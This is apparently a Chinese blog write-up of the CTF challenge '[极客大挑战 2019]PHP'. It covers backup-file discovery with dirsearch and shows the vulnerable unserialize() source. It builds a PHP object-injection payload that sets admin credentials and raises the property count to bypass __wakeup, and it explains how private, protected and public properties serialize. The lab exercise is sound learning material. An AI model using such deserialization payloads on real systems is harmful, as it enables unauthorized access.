[极客大挑战 2019]PHP1

知识点：PHP序列化与反序列化，最下方有几个扩展可以看一下

他说备份了，就肯定扫目录，把源文件备份扫出来

dirsearch扫目录扫到www.zip压缩包

aaarticlea/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="点击并拖拽以移动">

然后解压发现是，序列化。

具体特征如下：

index.php包含如下代码:接收参数，进行序列化

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>


aaarticlea/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="点击并拖拽以移动">

class.php含: 源码都放在着

<?php
include 'flag.php';error_reporting(0);class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} function __wakeup(){
$this->username = 'guest';
} function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); }
}
}
?>


aaarticlea/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="点击并拖拽以移动">

开始构造

声明一个Name类，包含username,password,且两个变量都是private修饰,整句话都有用。

然后根据判断句得知，username必须是admin,password必须是100所以，构造序列化

O是对象，s是字符串，i是数字

因为是private修饰的所以要加%00充当空格

构造:O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

payload：url+?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

aaarticlea/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="点击并拖拽以移动">

下面是拓展+答疑:

我看大佬的payload的时候，很疑惑为什么要写%00Name%00username这样的形式？

然后我进行了三种修饰方式的测试:public,protected,private

我忽然明白:

只有public修饰的不用太多的修饰原生态构造就好，而private需要加%00Name%00，

protected则需要使用 %00*%00username这样的方式

protected修饰变量，运行后回显代码内注释内容

<?php
class Name{
protected $username = 'nonono';////////////////看这两行
protected $password = 'yesyes';public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}$a = new Name('admin',100);
$b=serialize($a);
echo $b;
//看这看这看这看这！！！！！！！！！
//运行会输出 O:4:"Name":2:{s:11:" * username";s:5:"admin";s:11:" * password";i:100;}
?>


aaarticlea/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="点击并拖拽以移动">

public修饰变量，运行后回显代码内注释内容

<?php
class Name{
public $username = 'nonono';
public $password = 'yesyes';public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}$a = new Name('admin',100);
$b=serialize($a);
echo $b;
//O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
?>


aaarticlea/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="点击并拖拽以移动">

private修饰变量，运行后回显代码内注释内容

<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}$a = new Name('admin',100);
$b=serialize($a);
echo $b;
//O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
?>


aaarticlea/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" alt="点击并拖拽以移动">